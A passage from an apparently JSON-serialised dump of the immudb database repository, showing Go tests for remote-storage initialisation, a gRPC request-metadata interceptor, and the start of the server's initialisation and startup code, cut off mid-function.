s.Initialize()\n\trequire.ErrorIs(t, err, ErrNoStorageForIdentifier)\n}\n\nfunc TestInitializeWithRemoteStorageWithoutIdentifier(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithDir(dir)\n\topts.RemoteStorageOptions.S3ExternalIdentifier = true\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\tvar m remotestorage.Storage = nil\n\n\terr := s.initializeRemoteStorage(m)\n\trequire.ErrorIs(t, err, ErrNoStorageForIdentifier)\n}\n\nfunc TestInitializeRemoteStorageWithoutLocalIdentifier(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithDir(dir)\n\topts.RemoteStorageOptions.S3ExternalIdentifier = true\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\tuuid := xid.New()\n\n\tm := memory.Open()\n\tstoreData(t, m, \"immudb.identifier\", uuid.Bytes())\n\ts.remoteStorage = m\n\n\terr := s.initializeRemoteStorage(m)\n\trequire.NoError(t, err)\n\n\tuuidFilename := filepath.Join(dir, \"immudb.identifier\")\n\n\trequire.FileExists(t, uuidFilename)\n\n\tid, err := ioutil.ReadFile(uuidFilename)\n\trequire.NoError(t, err)\n\trequire.Equal(t, uuid.Bytes(), id)\n}\n\nfunc TestInitializeRemoteStorageDownloadIdentifierErrorOnGet(t *testing.T) {\n\tdir := t.TempDir()\n\n\tremoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true)\n\topts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\tinjectedErr := errors.New(\"Injected error\")\n\tm := &remoteStorageMockingWrapper{\n\t\twrapped: memory.Open(),\n\t\tfnGet: func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) {\n\t\t\treturn nil, injectedErr\n\t\t},\n\t}\n\n\tstoreData(t, m, \"immudb.identifier\", []byte{1, 2, 3, 4, 5})\n\n\terr := s.initializeRemoteStorage(m)\n\trequire.True(t, errors.Is(err, injectedErr))\n}\n\nfunc TestInitializeRemoteStorageDownloadIdentifierErrorOnStore(t *testing.T) {\n\trequire.NoError(t, os.MkdirAll(filepath.Join(t.TempDir(), \"data_uuiderr\", \"immudb.identifier\"), 0777))\n\n\tremoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true)\n\topts := DefaultOptions().WithRemoteStorageOptions(remoteStorageOpts)\n\n\ts := DefaultServer()\n\ts.WithOptions(opts)\n\n\tm := memory.Open()\n\tstoreData(t, m, \"immudb.identifier\", []byte{1, 2, 3, 4, 5})\n\terr := s.initializeRemoteStorage(m)\n\trequire.ErrorIs(t, err, syscall.ENOENT)\n}\n\ntype errReader struct {\n\terr error\n}\n\nfunc (e errReader) Read([]byte) (int, error) {\n\treturn 0, e.err\n}\n\nfunc TestInitializeRemoteStorageDownloadIdentifierErrorOnRead(t *testing.T) {\n\tdir := t.TempDir()\n\n\tremoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true)\n\topts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\tinjectedErr := errors.New(\"Injected error\")\n\tm := &remoteStorageMockingWrapper{\n\t\twrapped: memory.Open(),\n\t\tfnGet: func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) {\n\t\t\treturn ioutil.NopCloser(errReader{injectedErr}), nil\n\t\t},\n\t}\n\n\tstoreData(t, m, \"immudb.identifier\", []byte{1, 2, 3, 4, 5})\n\n\terr := s.initializeRemoteStorage(m)\n\trequire.True(t, errors.Is(err, injectedErr))\n}\n\nfunc TestInitializeRemoteStorageIdentifierMismatch(t *testing.T) {\n\tdir := t.TempDir()\n\n\tremoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true)\n\topts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\tm := memory.Open()\n\tstoreData(t, m, \"immudb.identifier\", []byte{1, 2, 3, 4, 5})\n\n\t_, err := getOrSetUUID(dir, dir, false)\n\trequire.NoError(t, err)\n\n\terr = s.initializeRemoteStorage(m)\n\trequire.ErrorIs(t, err, ErrRemoteStorageDoesNotMatch)\n}\n\nfunc TestInitializeRemoteStorageCreateLocalDirs(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithDir(dir)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\tm := memory.Open()\n\tstoreData(t, m, \"dir1/file1\", []byte{1, 2, 3})\n\tstoreData(t, m, \"dir1/file2\", []byte{1, 2, 3})\n\tstoreData(t, m, \"dir2/file3\", []byte{1, 2, 3})\n\tstoreData(t, m, \"dir3/file4\", []byte{1, 2, 3})\n\n\terr := s.initializeRemoteStorage(m)\n\trequire.NoError(t, err)\n\n\trequire.DirExists(t, filepath.Join(dir, \"dir1\"))\n\trequire.DirExists(t, filepath.Join(dir, \"dir2\"))\n\trequire.DirExists(t, filepath.Join(dir, \"dir3\"))\n}\n\nfunc TestInitializeRemoteStorageCreateLocalDirsError(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithDir(dir)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\tm := memory.Open()\n\tstoreData(t, m, \"dir1/file1\", []byte{1, 2, 3})\n\tstoreData(t, m, \"dir1/file2\", []byte{1, 2, 3})\n\tstoreData(t, m, \"dir2/file3\", []byte{1, 2, 3})\n\tstoreData(t, m, \"dir3/file4\", []byte{1, 2, 3})\n\n\terr := ioutil.WriteFile(filepath.Join(dir, \"dir3\"), []byte{}, 0777)\n\trequire.NoError(t, err)\n\n\terr = s.initializeRemoteStorage(m)\n\trequire.ErrorIs(t, err, syscall.ENOTDIR)\n}\n\nfunc TestUpdateRemoteUUID(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithDir(dir)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\tm := memory.Open()\n\n\tuuid, err := getOrSetUUID(dir, dir, false)\n\trequire.NoError(t, err)\n\ts.UUID = uuid\n\n\terr = s.updateRemoteUUID(m)\n\trequire.NoError(t, err)\n\n\texists, err := m.Exists(context.Background(), \"immudb.identifier\")\n\trequire.NoError(t, err)\n\trequire.True(t, exists)\n\n\tdata, err := m.Get(context.Background(), \"immudb.identifier\", 0, -1)\n\trequire.NoError(t, err)\n\tdefer data.Close()\n\treadUUID, err := ioutil.ReadAll(data)\n\trequire.NoError(t, err)\n\trequire.Equal(t, uuid.Bytes(), readUUID)\n}\n\nfunc TestAppendableIsUploadedToRemoteStorage(t *testing.T) {\n\ttestAppendableIsUploadedToRemoteStorage(t)\n}\n\nfunc testAppendableIsUploadedToRemoteStorage(t *testing.T) (string, remotestorage.Storage, *store.Options) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithDir(dir)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\ts.remoteStorage = memory.Open()\n\n\tstOpts := s.databaseOptionsFrom(s.defaultDBOptions(\"testdb\", \"\")).GetStoreOptions().WithEmbeddedValues(false)\n\n\tpath := filepath.Join(dir, \"testdb\")\n\tst, err := store.Open(path, stOpts)\n\trequire.NoError(t, err)\n\n\ttx, err := st.NewWriteOnlyTx(context.Background())\n\trequire.NoError(t, err)\n\n\terr = tx.Set([]byte{1}, nil, []byte{2})\n\trequire.NoError(t, err)\n\n\t_, err = tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\terr = st.Close()\n\trequire.NoError(t, err)\n\n\trequireDataExistsOnRemoteStorage(t, s.remoteStorage)\n\n\treturn path, s.remoteStorage, stOpts\n}\n\nfunc requireDataExistsOnRemoteStorage(t *testing.T, storage remotestorage.Storage) {\n\t// Ensure the data was written to the remote storage\n\tfor _, name := range []string{\n\t\t\"testdb/aht/commit/00000000.di\",\n\t\t\"testdb/aht/data/00000000.dat\",\n\t\t\"testdb/aht/tree/00000000.sha\",\n\t\t\"testdb/commit/00000000.txi\",\n\t\t\"testdb/index/commit/00000000.ri\",\n\t\t\"testdb/index/history/00000000.hx\",\n\t\t\"testdb/index/nodes/00000000.n\",\n\t\t\"testdb/tx/00000000.tx\",\n\t\t\"testdb/val_0/00000000.val\",\n\t} {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\texists, err := storage.Exists(context.Background(), name)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.True(t, exists)\n\t\t})\n\t}\n}\n\nfunc TestIndexCompactionForRemoteStorage(t *testing.T) {\n\tpath, storage, stOpts := testAppendableIsUploadedToRemoteStorage(t)\n\n\tst, err := store.Open(path, stOpts.WithIndexOptions(stOpts.IndexOpts.WithCompactionThld(1)))\n\trequire.NoError(t, err)\n\n\terr = st.CompactIndexes()\n\trequire.NoError(t, err)\n\n\terr = st.Close()\n\trequire.NoError(t, err)\n\n\tentries, subpath, err := storage.ListEntries(context.Background(), \"testdb/index/\")\n\trequire.NoError(t, err)\n\trequire.Len(t, entries, 0)\n\trequire.Equal(t, subpath, []string{\"commit0000000000000001\", \"history\", \"nodes0000000000000001\"})\n}\n\nfunc TestRemoteStorageUsedForNewDB(t *testing.T) {\n\tdir := t.TempDir()\n\n\ts := DefaultServer()\n\n\ts.WithOptions(DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(false).\n\t\tWithListener(bufconn.Listen(1024 * 1024)),\n\t)\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tm := memory.Open()\n\ts.remoteStorage = m\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\tctx := context.Background()\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\tnewdb := &schema.DatabaseSettings{\n\t\tDatabaseName: \"newdb\",\n\t}\n\n\t_, err = s.CreateDatabaseWith(ctx, newdb)\n\trequire.NoError(t, err)\n\n\t// force db loading\n\trepl, err := s.UseDatabase(ctx, &schema.Database{DatabaseName: \"newdb\"})\n\trequire.NoError(t, err)\n\n\tmd = metadata.Pairs(\"authorization\", repl.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\t_, err = s.Get(ctx, &schema.KeyRequest{Key: []byte(\"test-key\")})\n\trequire.ErrorIs(t, err, tbtree.ErrKeyNotFound)\n\n\terr = s.CloseDatabases()\n\trequire.NoError(t, err)\n\n\texists, err := m.Exists(context.Background(), \"newdb/tx/00000000.tx\")\n\trequire.NoError(t, err)\n\trequire.True(t, exists)\n}\n"
  },
  {
    "path": "pkg/server/request_metadata_interceptor.go",
    "content": "package server\n\nimport (\n\t\"context\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/grpc/peer\"\n)\n\nfunc (s *ImmuServer) InjectRequestMetadataUnaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {\n\tif !s.Options.LogRequestMetadata {\n\t\treturn handler(ctx, req)\n\t}\n\treturn handler(s.withRequestMetadata(ctx), req)\n}\n\nfunc (s *ImmuServer) InjectRequestMetadataStreamInterceptor(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\tctx := ss.Context()\n\tif !s.Options.LogRequestMetadata {\n\t\treturn handler(srv, ss)\n\t}\n\treturn handler(srv, &serverStreamWithContext{ServerStream: ss, ctx: s.withRequestMetadata(ctx)})\n}\n\ntype serverStreamWithContext struct {\n\tgrpc.ServerStream\n\tctx context.Context\n}\n\nfunc (s *serverStreamWithContext) Context() context.Context {\n\treturn s.ctx\n}\n\nfunc (s *ImmuServer) withRequestMetadata(ctx context.Context) context.Context {\n\tif !s.Options.LogRequestMetadata {\n\t\treturn ctx\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn ctx\n\t}\n\n\tmd := schema.Metadata{\n\t\tschema.UserRequestMetadataKey: user.Username,\n\t}\n\n\tip := ipAddrFromContext(ctx)\n\tif len(ip) > 0 {\n\t\tmd[schema.IpRequestMetadataKey] = ip\n\t}\n\treturn schema.ContextWithMetadata(ctx, md)\n}\n\nfunc ipAddrFromContext(ctx context.Context) string {\n\tmd, ok := metadata.FromIncomingContext(ctx)\n\tif ok {\n\t\t// check for the headers forwarded by GRPC-gateway\n\t\tif xffValues, ok := md[\"x-forwarded-for\"]; ok && len(xffValues) > 0 {\n\t\t\treturn xffValues[0]\n\t\t} else if xriValues, ok := md[\"x-real-ip\"]; ok && len(xriValues) > 0 {\n\t\t\treturn xriValues[0]\n\t\t}\n\t}\n\n\tp, ok := peer.FromContext(ctx)\n\tif !ok {\n\t\treturn \"\"\n\t}\n\n\taddr := p.Addr.String()\n\ti := strings.Index(addr, \":\")\n\tif i < 0 {\n\t\treturn addr\n\t}\n\treturn addr[:i]\n}\n"
  },
  {
    "path": "pkg/server/server.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"crypto/x509\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"os\"\n\t\"os/signal\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"syscall\"\n\t\"time\"\n\t\"unicode\"\n\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\t\"github.com/codenotary/immudb/pkg/truncator\"\n\n\t\"github.com/codenotary/immudb/embedded/remotestorage\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/errors\"\n\t\"github.com/codenotary/immudb/pkg/replication\"\n\n\tpgsqlsrv \"github.com/codenotary/immudb/pkg/pgsql/server\"\n\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\n\t\"github.com/codenotary/immudb/pkg/database\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/signer\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/cmd/version\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\tgrpc_middleware \"github.com/grpc-ecosystem/go-grpc-middleware\"\n\tgrpc_prometheus \"github.com/grpc-ecosystem/go-grpc-prometheus\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/credentials\"\n\t\"google.golang.org/grpc/reflection\"\n\t\"google.golang.org/grpc/status\"\n)\n\nconst (\n\t//KeyPrefixUser All user keys in the key/value store are prefixed by this keys to distinguish them from keys that have other purposes\n\tKeyPrefixUser = iota + 1\n\t//KeyPrefixDBSettings is used for entries related to database settings\n\tKeyPrefixDBSettings\n)\n\nvar startedAt time.Time\n\nvar immudbTextLogo = \" _                               _ _     \\n\" +\n\t\"(_)                             | | |    \\n\" +\n\t\" _ _ __ ___  _ __ ___  _   _  __| | |__  \\n\" +\n\t\"| | '_ ` _ \\\\| '_ ` _ \\\\| | | |/ _` | '_ \\\\ \\n\" +\n\t\"| | | | | | | | | | | | |_| | (_| | |_) |\\n\" +\n\t\"|_|_| |_| |_|_| |_| |_|\\\\__,_|\\\\__,_|_.__/ \\n\"\n\n// Initialize initializes dependencies, set up multi database capabilities and stats\nfunc (s *ImmuServer) Initialize() error {\n\t// Print to stdout in case of text logger, or in case logs are being written to file\n\t// This is to avoid mixing text output with json in case the log output is piped\n\tif (s.Options.IsJSONLogger() && s.Options.IsFileLogger()) || !s.Options.IsJSONLogger() {\n\t\tfmt.Fprintf(os.Stdout, \"\\n%s\\n%s\\n%s\\n\\n\", immudbTextLogo, version.VersionStr(), s.Options)\n\t}\n\n\t// Print the logo to the file in case of a text output only\n\tif s.Options.IsJSONLogger() {\n\t\ts.Logger.Infof(\"\\n%s\\n%s\\n\\n\", version.VersionStr(), s.Options)\n\t} else if s.Options.IsFileLogger() {\n\t\ts.Logger.Infof(\"\\n%s\\n%s\\n%s\\n\\n\", immudbTextLogo, version.VersionStr(), s.Options)\n\t}\n\n\t// Alert the user to certificates that are either expired or approaching expiration\n\ts.checkTLSCerts()\n\n\tif s.Options.GetMaintenance() && s.Options.GetAuth() {\n\t\treturn ErrAuthMustBeDisabled\n\t}\n\n\tadminPassword, err := auth.DecodeBase64Password(s.Options.AdminPassword)\n\tif err != nil {\n\t\treturn logErr(s.Logger, \"%v\", err)\n\t}\n\n\tif len(adminPassword) == 0 {\n\t\ts.Logger.Errorf(ErrEmptyAdminPassword.Error())\n\t\treturn ErrEmptyAdminPassword\n\t}\n\n\tdataDir := s.Options.Dir\n\terr = os.MkdirAll(dataDir, store.DefaultFileMode)\n\tif err != nil {\n\t\treturn logErr(s.Logger, \"Unable to create data dir: %v\", err)\n\t}\n\n\tsystemDbRootDir := s.OS.Join(dataDir, s.Options.GetDefaultDBName())\n\n\tif s.UUID, err = getOrSetUUID(dataDir, systemDbRootDir, s.Options.RemoteStorageOptions.S3ExternalIdentifier); err != nil {\n\t\treturn logErr(s.Logger, \"Unable to get or set uuid: %v\", err)\n\t}\n\n\ts.remoteStorage, err = s.createRemoteStorageInstance()\n\tif err != nil {\n\t\treturn logErr(s.Logger, \"Unable to open remote storage: %v\", err)\n\t}\n\n\terr = s.initializeRemoteStorage(s.remoteStorage)\n\tif err != nil {\n\t\treturn logErr(s.Logger, \"unable to initialize remote storage: %v\", err)\n\t}\n\n\t// NOTE: MaxActiveDatabases might have changed since the server instance was created\n\ts.dbList.Resize(s.Options.MaxActiveDatabases)\n\n\tif err = s.loadSystemDatabase(dataDir, s.remoteStorage, adminPassword, s.Options.ForceAdminPassword); err != nil {\n\t\treturn logErr(s.Logger, \"unable to load system database: %v\", err)\n\t}\n\n\tif err = s.loadDefaultDatabase(dataDir, s.remoteStorage); err != nil {\n\t\treturn logErr(s.Logger, \"unable to load default database: %v\", err)\n\t}\n\n\tdefaultDB, _ := s.dbList.GetByIndex(defaultDbIndex)\n\n\tdbSize, _ := defaultDB.TxCount()\n\tif dbSize <= 1 {\n\t\ts.Logger.Infof(\"started with an empty default database\")\n\t}\n\n\tif s.sysDB.IsReplica() {\n\t\ts.Logger.Infof(\"recovery mode. Only '%s' and '%s' databases are loaded\", SystemDBName, DefaultDBName)\n\t} else {\n\t\tif err = s.loadUserDatabases(dataDir, s.remoteStorage); err != nil {\n\t\t\treturn logErr(s.Logger, \"unable load databases: %v\", err)\n\t\t}\n\t}\n\n\ts.multidbmode = s.mandatoryAuth()\n\tif !s.Options.GetAuth() && s.multidbmode {\n\t\treturn ErrAuthMustBeEnabled\n\t}\n\n\ts.SessManager, err = sessions.NewManager(s.Options.SessionsOptions)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgrpcSrvOpts := []grpc.ServerOption{}\n\tif s.Options.TLSConfig != nil {\n\t\tgrpcSrvOpts = []grpc.ServerOption{grpc.Creds(credentials.NewTLS(s.Options.TLSConfig))}\n\t}\n\n\tif s.Options.SigningKey != \"\" {\n\t\tif signer, err := signer.NewSigner(s.Options.SigningKey); err != nil {\n\t\t\treturn logErr(s.Logger, \"unable to configure the cryptographic signer: %v\", err)\n\t\t} else {\n\t\t\ts.StateSigner = NewStateSigner(signer)\n\t\t}\n\t}\n\n\tif s.Options.usingCustomListener {\n\t\ts.Logger.Infof(\"using custom listener\")\n\t\ts.Listener = s.Options.listener\n\t} else {\n\t\ts.Listener, err = net.Listen(s.Options.Network, s.Options.Bind())\n\t\tif err != nil {\n\t\t\treturn logErr(s.Logger, \"immudb unable to listen: %v\", err)\n\t\t}\n\t}\n\n\tif s.remoteStorage != nil {\n\t\terr := s.updateRemoteUUID(s.remoteStorage)\n\t\tif err != nil {\n\t\t\treturn logErr(s.Logger, \"unable to persist uuid on the remote storage: %v\", err)\n\t\t}\n\t}\n\n\tauth.AuthEnabled = s.Options.GetAuth()\n\tauth.DevMode = s.Options.DevMode\n\tauth.UpdateMetrics = func(ctx context.Context) { Metrics.UpdateClientMetrics(ctx) }\n\n\tif err = s.setupPidFile(); err != nil {\n\t\treturn err\n\t}\n\n\tif s.Options.StreamChunkSize < stream.MinChunkSize {\n\t\treturn errors.New(stream.ErrChunkTooSmall).WithCode(errors.CodInvalidParameterValue)\n\t}\n\n\t//===> !NOTE: See Histograms section here:\n\t// https://github.com/grpc-ecosystem/go-grpc-prometheus\n\t// TL;DR:\n\t// Prometheus histograms are a great way to measure latency distributions of\n\t// your RPCs. However, since it is bad practice to have metrics of high\n\t// cardinality the latency monitoring metrics are disabled by default. To\n\t// enable them the following has to be called during initialization code:\n\tif !s.Options.NoHistograms {\n\t\tgrpc_prometheus.EnableHandlingTimeHistogram()\n\t}\n\t//<===\n\n\tuuidContext := NewUUIDContext(s.UUID)\n\n\tuis := []grpc.UnaryServerInterceptor{\n\t\tErrorMapper, // converts errors in gRPC ones. Need to be the first\n\t\ts.AccessLogInterceptor,\n\t\ts.KeepAliveSessionInterceptor,\n\t\tuuidContext.UUIDContextSetter,\n\t\tgrpc_prometheus.UnaryServerInterceptor,\n\t\tauth.ServerUnaryInterceptor,\n\t\ts.SessionAuthInterceptor,\n\t\ts.InjectRequestMetadataUnaryInterceptor,\n\t}\n\tsss := []grpc.StreamServerInterceptor{\n\t\tErrorMapperStream, // converts errors in gRPC ones. Need to be the first\n\t\ts.AccessLogStreamInterceptor,\n\t\ts.KeepALiveSessionStreamInterceptor,\n\t\tuuidContext.UUIDStreamContextSetter,\n\t\tgrpc_prometheus.StreamServerInterceptor,\n\t\tauth.ServerStreamInterceptor,\n\t\ts.InjectRequestMetadataStreamInterceptor,\n\t}\n\n\tgrpcSrvOpts = append(\n\t\tgrpcSrvOpts,\n\t\tgrpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer(uis...)),\n\t\tgrpc.StreamInterceptor(grpc_middleware.ChainStreamServer(sss...)),\n\t\tgrpc.MaxRecvMsgSize(s.Options.MaxRecvMsgSize),\n\t)\n\n\ts.GrpcServer = grpc.NewServer(grpcSrvOpts...)\n\tif s.Options.GRPCReflectionServerEnabled {\n\t\treflection.Register(s.GrpcServer)\n\t}\n\n\tschema.RegisterImmuServiceServer(s.GrpcServer, s)\n\tprotomodel.RegisterDocumentServiceServer(s.GrpcServer, s)\n\tprotomodel.RegisterAuthorizationServiceServer(s.GrpcServer, &authenticationServiceImp{server: s})\n\tgrpc_prometheus.Register(s.GrpcServer)\n\n\tif s.Options.PgsqlServer {\n\t\ts.PgsqlSrv = pgsqlsrv.New(\n\t\t\tpgsqlsrv.Host(s.Options.Address),\n\t\t\tpgsqlsrv.Port(s.Options.PgsqlServerPort),\n\t\t\tpgsqlsrv.ImmudbPort(s.Listener.Addr().(*net.TCPAddr).Port),\n\t\t\tpgsqlsrv.TLSConfig(s.Options.TLSConfig),\n\t\t\tpgsqlsrv.Logger(s.Logger),\n\t\t\tpgsqlsrv.DatabaseList(s.dbList),\n\t\t\tpgsqlsrv.LogRequestMetadata(s.Options.LogRequestMetadata),\n\t\t)\n\n\t\tif err = s.PgsqlSrv.Initialize(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn err\n}\n\nfunc (s *ImmuServer) checkTLSCerts() {\n\tif s.Options.TLSConfig == nil {\n\t\treturn\n\t}\n\n\tnow := time.Now()\n\tfor _, cert := range s.Options.TLSConfig.Certificates {\n\t\tif len(cert.Certificate) == 0 {\n\t\t\ts.Logger.Errorf(\"tls config contains an invalid certificate\")\n\t\t\tcontinue\n\t\t}\n\n\t\tx509Cert, err := x509.ParseCertificate(cert.Certificate[0])\n\t\tif err != nil {\n\t\t\ts.Logger.Errorf(\"could not parse certificate: %s\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\tif now.Before(x509Cert.NotBefore) || now.After(x509Cert.NotAfter) {\n\t\t\ts.Logger.Warningf(\"certificate with serial number %s is expired\", x509Cert.SerialNumber.String())\n\t\t} else if !now.Before(x509Cert.NotAfter.Add(-30 * 24 * time.Hour)) {\n\t\t\ts.Logger.Warningf(\"certificate with serial number %s is about to expire: %s left\", x509Cert.SerialNumber.String(), x509Cert.NotAfter.Sub(now).String())\n\t\t}\n\t}\n}\n\n// Start starts the immudb server\n// Loads and starts the System DB, default db and user db\nfunc (s *ImmuServer) Start() (err error) {\n\ts.mux.Lock()\n\ts.pgsqlMux.Lock()\n\n\tstartedAt = time.Now()\n\n\tif s.Options.MetricsServer {\n\t\ts.metricsServer = StartMetrics(\n\t\t\t1*time.Minute,\n\t\t\ts.Options.MetricsBind(),\n\t\t\ts.Options.TLSConfig,\n\t\t\ts.Logger,\n\t\t\ts.metricFuncServerUptimeCounter,\n\t\t\ts.metricFuncComputeDBSizes,\n\t\t\ts.metricFuncComputeDBEntries,\n\t\t\ts.metricFuncComputeLoadedDBSize,\n\t\t\ts.metricFuncComputeSessionCount,\n\t\t\ts.Options.PProf)\n\n\t\tdefer func() {\n\t\t\tif err := s.metricsServer.Close(); err != nil {\n\t\t\t\ts.Logger.Errorf(\"failed to shutdown metric server: %s\", err)\n\t\t\t}\n\t\t}()\n\t}\n\n\ts.installShutdownHandler()\n\n\tgo func() {\n\t\tif err := s.GrpcServer.Serve(s.Listener); err != nil {\n\t\t\ts.mux.Unlock()\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}()\n\n\tif err = s.SessManager.StartSessionsGuard(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\ts.Logger.Infof(\"sessions guard started\")\n\n\tif s.Options.PgsqlServer {\n\t\tgo func() {\n\t\t\ts.Logger.Infof(\"pgsql server is running at port %d\", s.Options.PgsqlServerPort)\n\t\t\tif err := s.PgsqlSrv.Serve(); err != nil {\n\t\t\t\ts.pgsqlMux.Unlock()\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\t\t}()\n\t}\n\n\tif s.Options.WebServer {\n\t\tif err := s.setUpWebServer(context.Background()); err != nil {\n\t\t\tlog.Fatalf(\"failed to setup web API/console server: %v\", err)\n\t\t}\n\t\tdefer func() {\n\t\t\tif err := s.webServer.Close(); err != nil {\n\t\t\t\ts.Logger.Errorf(\"failed to shutdown web API/console server: %s\", err)\n\t\t\t}\n\t\t}()\n\t}\n\n\tgo s.printUsageCallToAction()\n\n\ts.mux.Unlock()\n\ts.pgsqlMux.Unlock()\n\t<-s.quit\n\n\treturn err\n}\n\nfunc logErr(log logger.Logger, formattedMessage string, err error) error {\n\tif err != nil {\n\t\tlog.Errorf(formattedMessage, err)\n\t}\n\treturn err\n}\n\nfunc (s *ImmuServer) setupPidFile() error {\n\tvar err error\n\tif s.Options.Pidfile != \"\" {\n\t\tif s.Pid, err = NewPid(s.Options.Pidfile, s.OS); err != nil {\n\t\t\treturn logErr(s.Logger, \"failed to write pidfile: %s\", err)\n\t\t}\n\t}\n\treturn err\n}\n\nfunc (s *ImmuServer) setUpWebServer(ctx context.Context) error {\n\tserver, err := startWebServer(\n\t\tctx,\n\t\ts.Options.Bind(),\n\t\ts.Options.WebBind(),\n\t\ts.Options.TLSConfig,\n\t\ts,\n\t\ts.Logger,\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.webServer = server\n\treturn nil\n}\n\nfunc (s *ImmuServer) printUsageCallToAction() {\n\ttime.Sleep(200 * time.Millisecond)\n\timmuadminCLI := helper.Blue + \"immuadmin\" + helper.Green\n\timmuclientCLI := helper.Blue + \"immuclient\" + helper.Green\n\tdefaultUsername := helper.Blue + auth.SysAdminUsername + helper.Green\n\n\t// Print to stdout in case of text logger, or in case logs are being written to file\n\t// This is to avoid mixing text output with json in case the log output is piped\n\tif (s.Options.IsJSONLogger() && s.Options.IsFileLogger()) || !s.Options.IsJSONLogger() {\n\t\tfmt.Fprintf(os.Stdout,\n\t\t\t\"%syou can now use %s and %s CLIs to login with the %s superadmin user and start using immudb.%s\\n\",\n\t\t\thelper.Green, immuadminCLI, immuclientCLI, defaultUsername, helper.Reset)\n\t}\n\n\tif s.Options.IsFileLogger() {\n\t\ts.Logger.Infof(\n\t\t\t\"you can now use immuadmin and immuclient CLIs to login with the %s superadmin user and start using immudb.\\n\",\n\t\t\tauth.SysAdminUsername)\n\t}\n}\n\nfunc (s *ImmuServer) resetAdminPassword(ctx context.Context, adminPassword string) (bool, error) {\n\tif s.sysDB.IsReplica() {\n\t\treturn false, errors.New(\"database is running as a replica\")\n\t}\n\n\tadminUser, err := s.getUser(ctx, []byte(auth.SysAdminUsername))\n\tif err != nil {\n\t\treturn false, fmt.Errorf(\"could not read sysadmin user data: %v\", err)\n\t}\n\n\terr = adminUser.ComparePasswords([]byte(adminPassword))\n\tif err == nil {\n\t\t// Password is as expected, do not 